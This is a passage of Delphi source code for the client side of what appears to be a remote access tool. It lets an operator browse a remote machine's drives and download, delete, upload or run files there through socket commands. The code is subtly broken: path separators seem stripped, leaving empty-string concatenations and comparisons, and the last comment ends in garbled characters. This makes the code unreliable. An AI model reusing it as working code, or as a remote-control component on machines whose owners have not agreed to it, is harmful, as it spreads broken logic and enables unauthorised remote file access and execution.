  840. end;
  841. procedure TClientForm.sbFileManagerClick(Sender: TObject);
  842. begin
  843.  if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('getbaselist');
  844. end;
  845.  procedure TClientForm.tvAppDblClick(Sender: TObject);
  846.    var Start : TTreeNode;
  847.        Path : string;
  848.   begin
  849.    if (diskmode) then
  850.     begin
  851.      if (tvApp.Selected.Data=nil) and
  852.      (tvApp.Selected.ImageIndex in
  853.       [CLOSED_ICON, OPEN_ICON, HDD_ICON,
  854.        CDROM_ICON]) then
  855.         begin
  856.          FolderNode:=tvApp.Selected;
  857.          Start:=tvApp.Selected;
  858.          tvApp.Selected.Data:=@loading;
  859.          Path:=Start.Text+'';
  860.          if Start.Level>0 then
  861.           repeat
  862.            Start:=Start.Parent;
  863.            Path:=Start.Text+''+Path;
  864.           until Start.Level=0;
  865.          if ClientSocket.Active then
  866.           ClientSocket.Socket.SendText  ('diskget'+Path);
  867.         end;
  868.      if (tvApp.Selected.ImageIndex in
  869.       [BMP_FILE, WAV_FILE, EXE_FILE]) then
  870.       begin
  871.        Start:=tvApp.Selected;
  872.        Path:=TrimPRT (Start.Text);
  873.        if Start.Level>0 then
  874.         repeat
  875.          Start:=Start.Parent;
  876.          Path:=Start.Text+''+Path;
  877.         until Start.Level=0;
  878.        case tvApp.Selected.ImageIndex of
  879.         BMP_FILE : Path:='{P}'+Path;
  880.         WAV_FILE : Path:='{S}'+Path;
  881.         EXE_FILE : Path:='{U}'+Path;
  882.        end;
  883.        if not(loading) then clientsocket.socket.SendText (Path);
  884.       end;
  885.     end;
  886.   end;
  887. procedure TClientForm.tvAppMouseDown(Sender: TObject; Button: TMouseButton;
  888.   Shift: TShiftState; X, Y: Integer);
  889.   var CP : TPoint;
  890. begin
  891.  if (Button=mbRight) and (diskmode) then
  892.   begin
  893.    GetCursorPos (CP);
  894.    pmFile.Popup (CP.X, CP.Y);
  895.   end;
  896. end;
  897.  procedure TClientForm.pmFilePopup(Sender: TObject);
  898.   begin
  899.    mnuDownload.Enabled:=(tvApp.Selected.ImageIndex in
  900.     [BMP_FILE, WAV_FILE, EXE_FILE, USUAL_FILE]);
  901.    mnuDelete.Enabled:=mnuDownload.Enabled;
  902.    mnuDelim.Visible:=false;
  903.    mnuRun.Visible:=false;
  904.    if (tvApp.Selected.ImageIndex in
  905.     [BMP_FILE, WAV_FILE, EXE_FILE]) then
  906.      begin
  907.       mnuDelim.Visible:=true;
  908.       mnuRun.Visible:=true;
  909.       mnuRun.Default:=true;
  910.       mnuRun.ImageIndex:=tvApp.Selected.ImageIndex;
  911.       case tvApp.Selected.ImageIndex of
  912.        BMP_FILE : mnuRun.Caption:='Show';
  913.        WAV_FILE : mnuRun.Caption:='Play';
  914.        EXE_FILE : mnuRun.Caption:='Run';
  915.       end;
  916.      end;
  917.    mnuDelete.Enabled:=not (tvApp.Selected.ImageIndex in [HDD_ICON, CDROM_ICON]);
  918.   end;
  919.  procedure TClientForm.mnuDeleteClick(Sender: TObject);
  920.    var Start, TrueChild : TTreeNode;
  921.        Path : string;
  922.   begin
  923.    Start:=tvApp.Selected;
  924.    TrueChild:=tvApp.Selected;
  925.    Path:=TrimPRT (Start.Text);
  926.    if Start.Level>0 then
  927.     repeat
  928.      Start:=Start.Parent;
  929.      Path:=Start.Text+''+Path;
  930.     until Start.Level=0;
  931.    if MessageDlg ('Really delete '+DupAmps(Path)+' ?', mtConfirmation, [mbYes, mbNo], 0)=
  932.     mrYes then
  933.     if ClientSocket.Active then
  934.      ClientSocket.Socket.SendText ('delfile'+Path);
  935.    DeleteAnswer:=false;
  936.    FileDestroyed:=false;
  937.    repeat
  938.     Application.ProcessMessages;
  939.    until DeleteAnswer;
  940.    if FileDestroyed then
  941.     TrueChild.Delete;
  942.   end;
  943. procedure TClientForm.mnuRunClick(Sender: TObject);
  944. begin
  945.  tvAppDblClick (Sender);
  946. end;
  947. procedure TClientForm.mnuDownloadClick(Sender: TObject);
  948.    var Start : TTreeNode;
  949.        Path : string;
  950.   begin
  951.    Start:=tvApp.Selected;
  952.    Path:=TrimPRT (Start.Text);
  953.    if Start.Level>0 then
  954.     repeat
  955.      Start:=Start.Parent;
  956.      Path:=Start.Text+''+Path;
  957.     until Start.Level=0;
  958.    if MessageDlg ('Download '+DupAmps(Path)+' ?', mtConfirmation, [mbYes, mbNo], 0)=
  959.     mrYes then
  960.     if ClientSocket.Active then
  961.      ClientSocket.Socket.SendText ('getfile'+Path);
  962.   end;
  963.  procedure TClientForm.mnuUploadClick(Sender: TObject);
  964.    var Fl : FILE;
  965.        Query : string;
  966.        i, BSent : integer;
  967.        Folder : TTreeNode;
  968.        RemotePath : string;
  969.   begin
  970.    if od1.Execute then
  971.     begin
  972.      Folder:=tvApp.Selected;
  973.      if Folder.ImageIndex in
  974.       [EXE_FILE, BMP_FILE, WAV_FILE, USUAL_FILE] then
  975.        Folder:=Folder.Parent;
  976.      FolderNode:=Folder;
  977.      RemotePath:=Folder.Text+'';
  978.      if Folder.Level>0 then
  979.       repeat
  980.        Folder:=Folder.Parent;
  981.        RemotePath:=Folder.Text+''+RemotePath;
  982.       until Folder.Level=0;
  983.      FName:=od1.FileName;
  984.      AssignFile (Fl, FName);
  985.      {$I-}
  986.      ReSet (Fl, 1);
  987.      {$I+}
  988.      if IOResult<>0 then
  989.       begin
  990.        MessageDlg ('Error accessing file.', mtError, [mbOK], 0);
  991.        exit;
  992.       end;
  993.      FSize:=FileSize(Fl);
  994.      Query:='';
  995.      for i:=Length(FName) downto 1 do
  996.       if FName[i]='' then break else Query:=FName[i]+Query;
  997.      Query:=Query+':::'+inttostr(FSize);
  998.      if ClientSocket.Active then
  999.       begin
  1000.        ClientSocket.Socket.SendText ('takefile'+RemotePath+Query+WrapStr);
  1001.        Sleep (1000); // !!!!DON'T REMOVE THIS COMMENT!!!!              - 黩